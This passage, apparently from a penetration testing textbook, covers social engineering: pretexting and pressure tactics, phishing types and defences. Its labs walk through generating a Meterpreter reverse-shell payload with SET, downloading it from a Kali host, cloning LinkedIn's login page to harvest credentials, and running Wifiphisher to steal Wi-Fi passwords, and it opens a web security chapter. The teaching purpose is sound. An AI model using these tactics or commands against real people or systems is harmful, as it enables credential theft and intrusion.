https://resources.infosecinstitute.com/topics/network-security-101/wireless-attacks-and-mitigation/
https://resources.infosecinstitute.com/topics/network-security-101/wireless-attacks-and-mitigation/
https://csrc.nist.gov/pubs/sp/800/153/final 
https://packt.link/SecNet
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Social Engineering Attacks
While many cybersecurity professionals focus on implementing security appliances and solutions to 
prevent cyberattacks and threats, sometimes they lack focus on protecting the minds of employees. 
The human mind does not have cybersecurity solutions to protect it from psychological manipulation, 
and this creates the most vulnerable aspect within any organization. Threat actors and penetration 
testers often trick employees into performing an action or revealing confidential information that 
assists in performing a cyberattack and compromising an organization.

During this chapter, you will learn the fundamentals and key concepts that are used by ethical hack-
ers and penetration testers during their offensive security exercises to trick and manipulate their 
targets into revealing sensitive information and even performing a task. You will also discover the 
characteristics of various types of social engineering attacks and how to develop an awareness of 
defending against social engineering. Furthermore, you will learn how to use Kali Linux to perform 
various social engineering attacks to gather user credentials and even execute malicious payloads on 
their host systems.

In this chapter, we will cover the following topics:

• Fundamentals of social engineering
• Types of social engineering
• Planning for each type of social engineering attack
• Defending against social engineering
• Exploring social engineering tools and techniques

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• An Alfa AWUS036NHA High Gain Wireless B/G/N USB adapter – https://www.alfa.com.tw/

products/awus036nha

https://www.kali.org/get-kali/
https://www.alfa.com.tw/products/awus036nha 
https://www.alfa.com.tw/products/awus036nha 
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Fundamentals of social engineering
Organizations invest a lot into their cybersecurity solutions, from security appliances to applications, 
and developing cybersecurity teams of professionals to defend and safeguard the assets that are 
owned by the company. Threat actors have realized many organizations are already implementing 
the defense-in-depth approach, which provides a multi-layered approach to implementing security 
solutions to reduce the attack surface of the organization and its assets. With a defense-in-depth ap-
proach, organizations do not rely on a single layer of protection, whether it’s using a next-generation 
firewall (NGFW) to filter network traffic between their internal network and the internet or even using 
endpoint detection and response (EDR) to mitigate threats on host systems.

Using a multi-layered approach ensures an organization has security solutions to protect their wire-
less networks, web-based traffic, and email-based traffic, actively monitoring traffic flows with deep 
packet inspection (DPI) to catch any type of malicious traffic and stop cyberattacks and intrusions 
as they occur. Therefore, if a threat actor attempts to compromise the wireless network or even re-
motely launch an exploit on a target, there’s a high chance the security solutions of the organization 
will detect and stop the attack.

The defense-in-depth approach provides a greater challenge for threat actors to break through the 
organization’s defenses and compromise their targets. While organizations implement state-of-the-art 
security solutions to protect their assets and employees, there’s one element that is not protected by 
any cybersecurity solution, which is the human mind. The human mind does not have any antimal-
ware or firewall protection like traditional computers or smart devices; it is solely protected by our 
intellect, comprehension, thoughts, and consciousness as an individual.

While an organization may have a lot of security solutions, a threat actor can use psychological tech-
niques to manipulate and trick a person, such as an employee, into retrieving sensitive/confidential 
information and even performing a task that allows the threat actor to enter the network. This is the 
art of hacking the human mind in the field of cybersecurity, and it’s known as social engineering. A 
threat actor does not always need a computer to perform this type of attack on their targets, and yet 
it is usually successful.

Imagine, as a penetration tester, that you are attempting to gain remote access to a system within your 
target’s network but the organization is very well protected. What if you create a malicious payload and 
host it on a public server on the internet, and then, using a telephone system, you call the customer 
service department of your target organization? When a customer service representative answers, you 
pretend to be calling from the IT helpdesk department, informing the user there’s a system update 
that needs to be implemented as soon as possible to prevent a cyberattack; the potential victim may 
trust what you’re saying and cooperate.

Then, you tell the potential victim to visit a specific web address to download and install the malicious 
payload that is disguised as a system patch on their computer. The potential victim may be a bit ap-
prehensive at the time; informing the user there is limited time to complete this task and portraying 
authority will increase the potential victim’s cooperation. 



Chapter 15 619

When the user installs the malicious payload, you may have a reverse shell to the victim’s system within 
the targeted organization, which is commonly used to set up a call-back session from a compromised 
system to the attacker’s machine.

Organizations need to determine whether their cybersecurity solutions and awareness training are 
meeting their expectation during a real-world cyberattack; hence, penetration testers often use so-
cial engineering to retrieve user credentials, gather sensitive information from employees, and even 
manipulate people into performing unethical tasks on their systems.

However, while this scenario may seem simple, there are various key elements that are commonly 
used to increase the likelihood of the potential victim cooperating with you. 

Elements of social engineering
Being excellent at social engineering takes a bit of time to develop as a skill. One of the key aspects 
of being a good people person is communicating effectively with anyone, whether in person, over the 
telephone, or even using a digital medium such as email or instant messaging. Being a good people 
person usually means being able to interpret a person’s mood and mindset during a conversation and 
even determine whether the person trusts easily or not. Using social engineering as a penetration 
tester, you need to understand a person’s emotional intelligence based on their tone of voice, body 
language, gestures, choice of words, and even how easily they may develop trust during a conversation. 
While this may sound a bit complicated, it’s mostly about being able to quickly interpret and predict a 
person’s reaction based on a situation during a conversation. I’m sure you have already noticed your 
friends, colleagues, and even family members’ reactions during various types of conversations from 
time to time. Being observant, interpretational, and having a good situational awareness mindset will 
be beneficial during social engineering.

To ensure you are excellent at social engineering, the following are the key elements that are com-
monly used by threat actors and penetration testers:

• Authority: During a social engineering attack, a threat actor may pretend to be someone of high 
authority within the targeted organization. Imagine that the threat actor calls the customer 
service department of the targeted organization and informs the agent they are calling from 
the IT helpdesk and they require their user credentials to perform a system configuration 
change on their computer.

• Intimidation: Threat actors use intimidation to drive fear into their potential victim’s mind 
if they do not perform the instructed task or provide the requested information. Imagine a 
user doesn’t want to provide the user credentials to their system. A threat actor may inform 
the user that if they do not provide their username and password now, their system will be 
affected and may be compromised by possible malware, and their manager will be upset at 
the lack of cooperation.
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• Consensus: This element allows threat actors to use social proof that an action is considered to 
be normal because others are doing the same thing. The threat actor may inform the potential 
victim that other users within their department or organization had no issues providing their 
user credentials; their systems are configured and upgraded.

• Scarcity: This factor is used to inform the potential victims that an event needs to be com-
pleted within a specific time, such as immediately. A threat actor may inform the potential 
victim that if they do not provide their user credentials now, the time to perform the system 
configurations or upgrade will not be available in the future. 

• Urgency: Applying urgency to a situation usually implies the importance of a task and it should 
be prioritized over all else. Unlike scarcity, which creates the perception to the target that a 
resource or an action is limited, urgency creates a sense of immediate importance and should 
be done now. Threat actors commonly apply urgency during a social engineering attack to 
convince the potential victim of the importance of providing the requested information or 
performing a task.

• Familiarity: This element is used by threat actors to build some type of familiarity or rela-
tionship between themselves and the potential victim. Threat actors may discuss a potential 
mutual friend, a sporting event, or anything that ensures the potential victim opens up to the 
conversation and starts trusting the threat actor.

• Trust: Establishing trust during a social engineering exercise increases the likelihood of the 
attack being successful. Threat actors can use various choices of words to build a trusting re-
lationship with the potential victim. Once the trusting relationship is created, the threat actor 
can exploit this trust and get the potential victim to reveal confidential information easily and 
even perform tasks.

Keep in mind that even if a threat actor or a penetration tester uses all these elements, there’s still 
a possibility the social engineering attack may fail. This is due to the potential victim having a criti-
cal-thinking mindset and being aware of social engineering techniques and strategies used by threat 
actors.

In this section, you have learned about the fundamentals of social engineering and the key elements 
that are used to increase the likelihood of success by a threat actor. In the next section, you will dis-
cover the various types of social engineering attacks and their characteristics.

Types of social engineering
While social engineering focuses on psychologically hacking the human mind, there are various 
types of social engineering attacks, such as traditional human-based, computer-based, and even 
mobile-based attacks. During this section, you will discover the fundamentals and characteristics of 
each type of social engineering attack.

Human-based social engineering
In human-based social engineering, the threat actor or penetration tester usually pretends to be 
someone with authority, such as a person who is important within the organization. This means the 
threat actor can attempt to impersonate a director or senior member of staff and request a password 
change on the victim’s user account. 
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An easy form of impersonation that usually gets a user to trust you quickly is posing as technical sup-
port. Imagine calling an employee while you’re pretending to be an IT person from the organization’s 
helpdesk team and requesting the user to provide their user account details. Usually, end users are 
not always aware of human-based threats in cybersecurity and would quickly trust someone who is 
pretending to be technical support.

The following are additional types of attacks related to human-based social engineering:

• Eavesdropping: Eavesdropping involves listening to conversations between people and read-
ing their messages without authorization. This form of attack includes the interception of any 
transmission between users, such as audio, video, or even written communication.

• Shoulder surfing: Shoulder surfing is looking over someone’s shoulder while they are using 
their computer. This technique is used to gather sensitive information, such as PINs, user IDs, 
and passwords. Additionally, shoulder surfing can be done from longer ranges, using devices 
such as digital cameras.

• Dumpster diving: Dumpster diving is a form of human-based social engineering where the 
attacker goes through someone else’s trash, looking for sensitive/confidential data. Victims 
insecurely disposing of confidential items, such as corporate documents, expired credit cards, 
utility bills, and financial records, are considered to be valuable to an attacker. The information 
collected from these documents can be used for creating a profile of the victim and imperson-
ation to gain access to the victim’s user accounts.

Next, you will learn about computer-based social engineering attacks.

Computer-based social engineering
Most of us have encountered at least one form of computer-based social engineering attack already. 
In computer-based social engineering, the attacker uses computing devices to assist them in tricking 
a potential victim into revealing sensitive/confidential information or performing an action.

The following are common types of computer-based social engineering attacks:

• Phishing: Attackers usually send an illegitimate email containing false information while 
masking it to look like a legitimate email from a trusted person or source. This technique is 
used to trick a user into providing personal information or other sensitive details.

• Imagine receiving an email that includes your bank’s name as the sender name and the body 
of the email has instructions informing you to click on a provided link to reset your online 
banking credentials. Email messages are usually presented to us in Rich Text Format, which 
provides very clean and easy-to-read text. This format hides the HyperText Markup Language 
(HTML) code of the actual message and displays human-readable plain text instead. Conse-
quently, an attacker can easily mask the uniform resource locator (URL) to send the user to a 
malicious website. The recipient of the phishing email may not be able to identify misleading 
or tampered-with details and click on the link.
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• Spear phishing: In a regular phishing attack, the attacker sends hundreds of generic email 
messages to random email addresses over the internet. With spear phishing, the attacker sends 
specially crafted messages to a specific group of people. Spear-phishing attacks have higher 
response rates compared to normal phishing attacks because the emails are crafted to seem 
more believable than others.

• Whaling: Whaling is another type of computer-based social engineering attack. Similar to 
phishing, a whaling attack is designed to target the high-profile employees of a target organi-
zation. High-profile employees usually have high authority in both their job duties and their 
computer accounts. Compromising a high-profile employee’s user account can lead to the 
threat actor reading confidential emails, requesting information from various departments 
such as financial records, and even changes within the IT infrastructure to permit remote 
access for the threat actor.

• Pharming: This is a type of social engineering where the attacker is able to manipulate the 
Domain Name System (DNS) records on either a victim’s system or DNS server. Changing the 
DNS records will ensure users are redirected to a malicious website rather than visiting a legit-
imate website. A user who wants to visit a website such as www.example.com may be redirected 
to www.malciouswebsite.com with a different IP address. This technique is used to send a lot 
of users to malicious or fake websites to gather sensitive information, such as user credentials 
from unaware site visitors. Other potential consequences of pharming include the installation 
of malware, financial fraud, and erosion of trust in legitimate websites.

• Water hole: In this type of attack, the threat actor observes where employees of a target orga-
nization are commonly visiting such as a website. The threat actor will create a fake, malicious 
clone of the website and attempt to redirect the users to the malicious website. This technique 
is used to compromise all of the website visitors’ devices and not just the employees of the 
target organization.

In another scenario, the threat actor can observe whether the employees are visiting a nearby 
coffee shop or restaurant during their lunch breaks. The threat actor can compromise the 
restaurant’s guest wireless network such that connected users are either tricked into revealing 
their personal user credentials or downloading malware to establish a backdoor onto their 
personal devices. If the employees are tricked into revealing their user credentials, the threat 
actor can leverage the user credentials to gain unauthorized access to online platforms that are 
integrated into the targeted organization’s systems. In addition, if the employees connect their 
malware-infected smartphones to the organization’s wireless network upon returning from 
their lunch breaks, the threat actor can potentially gain remote access to the malware-infect-
ed phone, which is now behind the organization’s perimeter cyber defenses. From there, the 
threat actor can pivot their attacks to other systems and expand their foothold on the network.

This attack helps the threat actor to compromise a target organization that has very strict secu-
rity controls, such as Defense in Depth. This type of attack helps hackers to perform credential 
harvesting, which is used to gather users’ credentials.

Next, you will discover various types of social engineering attacks that are performed using mobile 
devices.
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Mobile-based social engineering
Mobile-based social engineering can include creating a malicious app for smartphones and tablets with 
a very attractive feature that will lure users into downloading and installing the app on their devices. 
To mask the true nature of the malicious app, attackers use names similar to those of popular apps on 
the official mobile app stores. Once the malicious app has been installed on the victim’s device, the 
app can retrieve and send the victim’s user credentials back to the threat actor.

The following are common types of mobile-based social engineering attacks:

• Smishing: This type of attack involves attackers sending illegitimate Short Message Service 
(SMS) messages to random telephone numbers with a malicious URL, asking the potential 
victim to respond by providing sensitive information. Attackers sometimes send SMS messages 
to random people, claiming to be a representative from their bank. The message contains a 
URL that looks very similar to the official domain name of the legitimate bank. An unsuspect-
ing person may click on the malicious link, which leads them to a fake login portal that will 
capture a victim’s username and password and even download a malicious payload onto the 
victim’s mobile device.

• Vishing: This is a type of social engineering attack that occurs over a traditional telephone or 
a Voice over IP (VoIP) system. There are many cases where people have received telephone 
calls from a threat actor, claiming that they are calling from a trusted organization such as the 
local cable company or the bank and asking the victims to reveal sensitive information, such as 
their date of birth, driver’s permit number, banking details, and even user account credentials.

Usually, the threat actor calls a target while posing as a person from a legitimate or authorized 
organization asking for sensitive details. If this first approach doesn’t work, the threat actor 
may call again, posing as a more important person or a technical support agent in an attempt 
to trick the user into providing sensitive information. 

Additionally, when a threat actor provides a false identity for themselves during a vishing attack, 
they usually provide a reference to a legitimate organization from which they are supposedly 
calling to build a level of trust and familiarity with the potential victim. When the victim does 
not fall for the attack, sometimes the threat actors use sentences such as “Your account will be 
disabled if you are not able to provide us with your username and password.” Sometimes, the victims 
believe this and provide the requested information, therefore, the attack becomes successful. 
Implementing user awareness training for employees to recognize attempts, implementing 
caller ID authentication, and verification processes that do not rely on information that could 
be easily obtained by an attacker can help reduce of being compromised by a vishing attack.

Next, you will learn how threat actors abuse trust over social networking websites.

Social networking
Threat actors usually attempt to create a fake profile and establish communication with their targets. 
They pretend to be someone else using impersonation while trying to trick their victim into revealing 
sensitive details about themselves. Additionally, there are many cases where a person’s account is 
compromised and the threat actor uses the compromised account to communicate with other people 
in the victim’s friends/connections list. 
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Threat actors often use compromised social networking user accounts to create a very large network 
of friends/connections to gather information and sensitive details about others.

The following are some methods that are used to lure the employees of a target organization:

• Creating a fake user group on popular social media platforms such as Facebook, LinkedIn, X 
(formally Twitter), and Instagram.

• Using a false identity by using the names of employees from the target organization.
• Sometimes, threat actors can create multiple online personas to match the employees of a 

targeted organization and post updates very frequently to create a very convincing profile.
• Social media groups or pages that ask their members or followers to reveal sensitive and con-

fidential information are a red flag.
• If an employee seems unsure about the social media group or page, it’s important to get in touch 

with the IT team to confirm the validity of the group and determine whether it’s legitimate or not.
• Getting a user to join a fake user group and then asking them to provide credentials, such as 

their date of birth and their spouse’s name.

Social networking sites such as Facebook and LinkedIn are huge repositories of information that are 
accessible to many people. It’s important for a user to always be aware of the information they are 
revealing because of the risk of information exploitation. By using the information that’s been found 
on social networking sites, such as posts and tweets that have been made by the employees of orga-
nizations, threat actors can perform targeted social engineering attacks on the target organization.

Doxing is a type of social engineering attack that usually involves the threat actor using posts made by 
their targets on social networking websites. During a doxing attack, the threat actor gathers personal 
information about someone by searching for the information that was posted by the target. Often-
times, on social networking websites, people post a lot of personal information about themselves, 
their families, and work stuff. When asked whether they have any concerns about someone stealing 
their information, the most common response is they have nothing to hide or they will lose nothing 
by posting a photo or a comment.

However, a lot of people don’t realize that a malicious person can take a screenshot of their post and 
then edit it using photo-editing and video-editing tools to manipulate it for malicious purposes. A 
photo of someone who is performing an act of kindness or helping someone in need can be edited to 
portray something totally opposite to the eyes of the general public.

Having completed this section, you have learned about various types of social engineering attacks. In 
the next section, you will learn common techniques to consider when planning a social engineering 
attack.

The term doxing is short for dox (documents), in which the manipulation of individuals is 
achieved by divulging (or threatening to divulge) confidential or embarrassing information 
based on the data collected during reconnaissance on a target.
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Planning for each type of social engineering attack
The primary objective of a social engineering attack is to either obtain confidential information from 
the victim or manipulate them into performing an action to help you compromise the target system 
or organization. However, to get started with any type of attack, a lot of research through passive 
reconnaissance must be done to find out how the target functions; as an aspiring penetration tester, 
you need to find answers to questions, such as the following:

• Does the target organization outsource its IT services?
• Does the target have a help desk?
• Who are the high-profile employees?
• What is the email address format used by the organization?
• What are the email addresses of the employees?

In addition to conducting research, when performing social engineering, you must be able to strategize 
quickly and read the victim’s emotions regarding how they react to you.

As a penetration tester, it’s good to develop the following skills:

• Be creative during conversations.
• Good communication skills, both in person and over the telephone.
• Good interpersonal skills.
• A talkative and friendly nature.

These skills will help you be a people person, that is, someone who is friendly and engages with oth-
ers. This characteristic is beneficial, as it will help you gauge the victim’s mood and responses better 
during live communication, whether that’s over a telephone call or during an in-person conversation. 
It’s sort of a psychological skill set that allows you to read someone and manipulate their behavior to 
get them to react in a certain way or reveal confidential information.

Next, you will explore common strategies to defend against social engineering attacks.

Defending against social engineering
Defending against a social engineering attack is really important to any organization. While many 
organizations implement cybersecurity awareness training, it’s not always performed frequently to 
ensure employees are aware of the latest cyberattacks and threats. Cybersecurity user awareness 
training should be done each month to ensure all employees develop a critical-thinking mindset to 
identify and flag various types of social engineering attacks.

The following are additional techniques to help defend against social engineering attacks:

• Threat actors use methods such as impersonation and tailgating (following someone into a 
secure area) to gain entry to an organization’s compound. To prevent such attacks, organizations 
should implement ID badges for all members of staff, token-based or biometric systems for 
authentication, and continuous employee and security guard training for security awareness.
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• Sometimes, threat actors implement eavesdropping, shoulder surfing, and impersonation to 
obtain sensitive information from the organization’s help desk and its general staff. Sometimes, 
attacks can be subtle and persuasive; other times, they can be a bit intimidating and aggres-
sive in order to put pressure on an employee in the hopes that they will reveal confidential 
information. To protect staff from such attacks, organizations should ensure that frequent 
employee training is done to raise awareness of such dangers and let them know never to 
reveal any sensitive information.

• Implement a password policy that ensures that users change their passwords periodically 
while avoiding reusing previous passwords. This will ensure that if an employee’s password is 
leaked via a social engineering attack, the password in the attacker’s hands could be rendered 
obsolete by the password policy. 

• Ensure security guards escort all guests and visitors while in the compound.
• Implement proper physical security access-control systems. This includes surveillance camer-

as, door locks, proper fencing, biometric security measures, and more to keep unauthorized 
people out of restricted areas. 

• Implement the classification of information. The classification of information allows only those 
with the required security clearance to view certain data and have access to certain systems.

• Perform background checks on new employees and implement a proper termination process.
• Implement endpoint security protection from reputable vendors. Endpoint protection can be 

used to monitor and prevent cyberattacks, such as social engineering attacks, phishing emails, 
and malicious downloads, against employees’ computers and laptops.

• Enforce two-factor authentication (2FA) or multi-factor authentication (MFA) whenever pos-
sible, as it reduces the possibility of account takeover. 

• Implement security appliances to filter both inbound and outbound web-based and email-
based traffic.

Having completed this section, you have learned the key concepts of defending against social engineer-
ing attacks. In the next section, you will learn the fundamentals of planning a social engineering attack.

Exploring social engineering tools and techniques
In this section, you will explore how to perform various types of social engineering attacks using an 
open-source application known as the Social Engineering Toolkit (SET) within Kali Linux. You will 
learn how to create a phishing website to perform credential harvesting and generate a malicious 
payload that can be placed on a USB flash drive or an optical disk.

All the techniques used in the following sections are to demonstrate a proof of concept 
strictly for educational purposes only. Do not use such techniques and tools for illegal 
purposes.
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Creating infectious media
A method for tricking a victim is creating infectious media, which is any pluggable media storage 
device that contains malware created by a threat actor to compromise the targeted system. For in-
stance, a USB flash drive with an auto-executable payload will run automatically when the USB device 
is connected to a computer. Quite often, humans are mostly curious whenever they see a USB flash 
drive lying randomly on the ground. Some people will pick it up and connect it to their computer to 
see what’s inside.

In this exercise, you will learn how to create a malicious auto-executable payload that can be placed 
on a USB flash drive or a CD/DVD optical disk. To get started with this exercise, please use the follow-
ing instructions:

1. Power on Kali Linux and ensure there’s an internet connection available.
2. Open the Terminal (#1) and initialize the SET:

kali@kali:~$ sudo setoolkit

If it’s the first time starting the SET, you will need to accept the terms of service before pro-
ceeding to the main menu.

3. Once you’re on the main menu, choose the 1) Social-Engineering Attacks option, as shown here:

Figure 15.1: The SET main menu
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4. Next, select the 3) Infectious Media Generator option:

Figure 15.2: Social engineering attacks menu

5. Next, select the 2) Standard Metasploit Executable option:

Figure 15.3: Infectious media menu

6. Next, choose the 2) Windows Reverse_TCP Meterpreter option to create a reverse shell on the 
victim machine and send it back to your attacker system:

.

Figure 15.4: Selecting malicious payload

Ensure the LHOST IP address and the listener port number are configured to match the IP 
address and port number respectively on your Kali Linux machine, as shown here:
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Figure 15.5: Setting call-back details

As shown in the preceding screenshot, the payload.exe file is placed within the /root/.set/ 
directory. 

7. Next, the SET will ask whether to create a listener right now; type yes.
8. Next, open a new Terminal (#2) and use the following commands to start a Python web server 

within the /root/.set/ directory:

kali@kali:~$ sudo su 
root@kali:/home/kali# python3 -m http.server 8080 -d /root/.set

9. Next, power on the Metasploitable 3 (Windows-based) virtual machine and log in as the 
Administrator user.

10. On Metasploitable 3 (Windows-based) virtual machine, open the Command Prompt and use 
the following commands to download the payload:

C:\Users\Administrator> powershell
PS C:\Users\Administrator> Invoke-WebRequest -Outfile payload.exe -Uri 
http://172.30.1.50:8080/payload.exe

As shown in the following screenshot, the payload file was transferred:

Figure 15.6: Transferring payload
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Since the URL in the preceding command included the payload.exe file, the payload was exe-
cuted and established a reverse shell to Kali Linux. Use the sessions command on Metasploit 
to view the active reverse shell:

Figure 15.7: Obtaining a reverse shell

11. Lastly, use the sessions -i <number> command to interact with an active shell:

\

Figure 15.8: Verifying access to the compromised system

Having completed this section, you have learned how to use the SET on Kali Linux to create infectious 
media. Next, you will learn how to create a phishing website.

Creating a phishing website
In this exercise, you will learn how to create a phishing website to mimic the appearance of a legiti-
mate website to trick victims into providing their user credentials. To get started with this hands-on 
exercise, please use the following instructions:

1. Power on Kali Linux and ensure there’s an internet connection available.
2. Next, open the Terminal and initialize the SET:

kali@kali:~$ sudo setoolkit

If it’s the first time starting the SET, you will need to accept the terms of service before pro-
ceeding to the main menu.
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3. Once you’re on the main menu, choose the 1) Social-Engineering Attacks option, as shown 
in the following screenshot:

Figure 15.9: The SET main menu

4. Next, choose the 2) Website Attack Vectors option:

Figure 15.10: Social engineering attack menu

5. Next, choose the 3) Credential Harvester Attack Method option:

Figure 15.11: Attack methods
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6. Next, choose the 2) Site Cloner option to create a clone of a legitimate website:

Figure 15.12: Site Cloner menu

7. Next, on the Site Cloner interactive menu, set the IP address of your Kali Linux machine. This 
is the IP address that will be given to the potential victims. If your Kali Linux machine is hosted 
on the cloud, this will be the public IP address.

8. Next, enter the URL to clone with a login form. For this exercise, the LinkedIn login page, 
https://www.linkedin.com/login, was used as a proof of concept:

Figure 15.13: Specifying the target

9. Next, when the victim enters the IP address of Kali Linux on their web browser, the fake login 
page will load.

When the victim enters their user credentials on the phishing website, the username and 
password are presented on the terminal, as shown here:

Figure 15.14: Collecting credentials

https://www.linkedin.com/login
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10. Lastly, the victim will be automatically redirected to the legitimate website, as shown in the 
following screenshot:

Figure 15.15: Redirect to a legitimate website

As you can see, it’s quite simple to create a phishing website. The trick is to research your target and 
determine which websites they frequently visit, and then create a phishing website and host it on the 
public internet. When using obfuscation, mask the IP address of the phishing website with a domain 
to trick the victim into thinking the website is a trusted domain. Furthermore, you can also use the 
SET to create a phishing email to further convince the victim to click on the malicious link.

Having completed this exercise, you have learned how to create a phishing website. Next, you will 
learn how to create a rogue access point to capture a victim’s password for their wireless network.

Creating a fake wireless network
In this exercise, you will learn how to trick a person into retrieving the password for their wireless 
network using Wifiphisher. Wifiphisher is commonly used by ethical hackers and penetration testers 
during offensive security testing to set up a rogue access point during social engineering attacks on 
a targeted organization.
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To get started with setting up a rogue access point, please use the following instructions:

1. Connect your wireless network adapter (Alfa AWUS036NHA) to your Kali Linux virtual machine 
and ensure it’s being recognized as a WLAN network adapter, as shown here:

Figure 15.16: Verifying wireless interfaces

2. On Kali Linux, use the following commands to install the Wifiphisher tool:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install wifiphisher

3. Next, use the following commands to start the Wifiphisher tool:

kali@kali:~$ sudo wifiphisher

4. As shown in the following screenshot, Wifiphisher has set up a virtual wireless adapter to per-
form de-authentication attacks while using the wlan0 to broadcast the rogue wireless network:

Figure 15.17: Launching Wifiphisher
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5. Next, Wifiphisher will open a new interface, enabling you to select a nearby targeted wireless 
network, as shown here:

Figure 15.18: Identifying targeted networks

For this exercise, I’ve set up a personal wireless network named targeted_network with one 
client to demonstrate the proof of concept.

6. After selecting your targeted network, you can choose one of four phishing scenarios – choose 
Firmware Upgrade Page, as shown here:

Figure 15.19: Selecting attack type

7. Next, Wifiphisher will scan for the targeted network and, once it’s found, a de-authentication 
attack is automatically performed to ensure any connected clients are disassociated from 
the legitimate network and triggers the disassociated clients to establish a connection to our 
rogue network.
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8. Once a client establishes an association with our rogue network and the victim opens their 
web browser, the following pop-up window will appear that prompts the victim to re-enter 
their wireless password:

Figure 15.20: Fake firmware page

9. Once the victim enters their password and clicks on Start Upgrade on the phishing page, Wif-
iphisher captures their password on the Terminal, as shown here:

Figure 15.21: Captured credentials
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10. After you’ve collected the victim’s wireless password, press the Esc key on your keyboard to 
quit Wifiphisher and display the captured password, as shown here:

Figure 15.22: Collected password

As you have seen, ethical hackers and penetration testers can leverage various tools such as the SET 
and Wifiphisher to perform social engineering attacks on targeted organizations to collect sensitive 
information such as user credentials and passwords.

Having completed this section, you have learned how to use various tools and techniques to perform 
social engineering attacks.

Summary
During the course of this chapter, you have learned the fundamentals and key concepts of social 
engineering and how penetration testers can hack the human mind to obtain sensitive information. 
Furthermore, you have discovered various types of social engineering attacks and have explored 
various techniques to mitigate such types of threats. Lastly, you have explored various features of the 
SET on Kali Linux to assist you in setting up various types of social engineering attacks and even using 
Wifiphisher to create a rogue wireless network to trick users into revealing their wireless network 
passwords.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you in your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, Understanding Website 
Application Security, you will learn the fundamentals of security vulnerabilities within web applications.

Further reading
• MITRE Phishing for Information – https://attack.mitre.org/techniques/T1598/
• Social Engineering – https://www.imperva.com/learn/application-security/social-

engineering-attack/

To learn more about Wifiphisher, please see https://github.com/wifiphisher/
wifiphisher.

https://attack.mitre.org/techniques/T1598/
https://www.imperva.com/learn/application-security/social-engineering-attack/ 
https://www.imperva.com/learn/application-security/social-engineering-attack/ 
https://github.com/wifiphisher/wifiphisher
https://github.com/wifiphisher/wifiphisher
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• Avoiding Social Engineering and Phishing Attacks – https://www.cisa.gov/news-events/news/
avoiding-social-engineering-and-phishing-attacks

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks
https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks
https://packt.link/SecNet
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Understanding Website 
Application Security

As an aspiring ethical hacker and penetration tester, you will encounter a lot of organizations that 
develop and deploy web applications; either they are available for their internal employees or publicly 
available to users on the internet. The number of web applications on the internet is continuously 
increasing, as more organizations are creating their online presence to support their potential and 
existing customers.

During this chapter, you will learn about the importance of and need for performing web application 
penetration testing. You will discover how the Open Web Application Security Project (OWASP) Top 
10 helps cybersecurity professionals such as penetration testers to discover security vulnerabilities 
within web applications. You will gain the skills to perform vulnerability discovery and exploitation 
on a web application while using the OWASP Top 10 as a methodological approach.

In this chapter, we will cover the following topics:

• Understanding web applications
• Exploring the OWASP Top 10: 2021
• Getting started with FoxyProxy and Burp Suite
• Understanding injection-based attacks
• Exploring broken access control attacks
• Discovering cryptographic failures
• Understanding insecure design
• Exploring security misconfiguration

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• Burp Suite – https://portswigger.net/burp
• OWASP Juice Shop – https://owasp.org/www-project-juice-shop/

Understanding web applications
As we use the internet each day, we commonly interact with web applications, whether performing a 
transaction at your favorite e-commerce website or even using an online learning management sys-
tem (LMS) for e-learning with your educational provider. Web applications are all around and used by 
many industries, such as education, banking, manufacturing, entertainment, e-commerce/e-business, 
and even government services. They allow organizations to provide electronic services to their users 
and customers by simply using the internet and a web browser.

Imagine you’re enrolled to complete an academic program within a university. After your registration, 
the university sends you access to their e-learning online platform, which contains a lot of study re-
sources to help you with your studies during the course of your program. For the university to deliver 
the resources to their students (users), a web application needs to be deployed on a web server on the 
internet, and a database server needs to be attached as well. The database server is generally a sep-
arate virtual or physical server from the web server, and it’s used to store data such as user accounts 
and other records.

The following diagram provides a visual representation of how a user interacts with a web application:

Figure 16.1: Request-response messages

As shown in the preceding diagram, the user has access to a computing device such as a computer 
with a standard web browser. Using the web browser, Hypertext Transfer Protocol (HTTP) request 
messages are encoded and sent to the web application that is hosted on a web server. The web appli-
cation will process the message from the sender and provide a response. Depending on the message 
from the user, the web application may need to create, modify, retrieve, or even delete a record on 
the database server.

https://www.kali.org/get-kali/
https://portswigger.net/burp
https://owasp.org/www-project-juice-shop/
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During the reconnaissance phase of the cyber kill chain, threat actors look for security vulnerabilities 
found within their target’s web applications. Commonly, web developers will write their custom code 
to develop their web applications from the ground up or use an existing framework and build upon 
it. However, many bad practices, such as using improper coding practices and not thoroughly testing 
code during the software development life cycle (SDLC) of the application and configurations on the 
web server, often lead to threat actors discovering and exploiting vulnerabilities on the web application, 
the host operating system of the web server, and even the database server. Hence, it’s important to 
ensure there are no security risks on a web application before deploying it in a production environment.

Commonly, organizations that are concerned about the security posture of their web application will 
hire a penetration tester, who specializes in web application penetration testing, to determine whether 
there are any unknown and hidden security vulnerabilities within the web application. Additionally, 
as an aspiring penetration tester, it’s essential to understand how web applications work and how to 
discover security flaws in them.

The fundamentals of HTTP
HTTP is a common application-layer protocol that allows a client, such as a web browser, to interact 
with a server that’s hosting a web application. Put simply, we can say that HTTP uses a client-server 
model. Additionally, the client will usually send an HTTP request message across to the web appli-
cation, which will provide an HTTP response to the client. Each resource on the web application is 
defined by a uniform resource locator (URL), which simply specifies the location of an item such as 
a web page or file on the web server.

For instance, if you want to find my personal author page on Packt’s website, you’ll need to visit the 
parent domain, www.packtpub.com, and browse through the list of authors. However, specifying the 
protocol as HTTP Secure (HTTPS), the hostname of the server (www.packtpub.com), and the resource 
location (/authors/glen-d-singh) creates this URL: https://www.packtpub.com/authors/glen-d-
singh. Therefore, if you enter the URL into the address bar of your web browser, an HTTP request 
message is created to inform the web application to provide the specified resource only.

When working with HTTP, keep in mind that each request between the client and the server is state-
less. This means that the web server does not maintain the state of any clients sending messages. A 
connection state simply refers to maintaining the information or context over one or more HTTP 
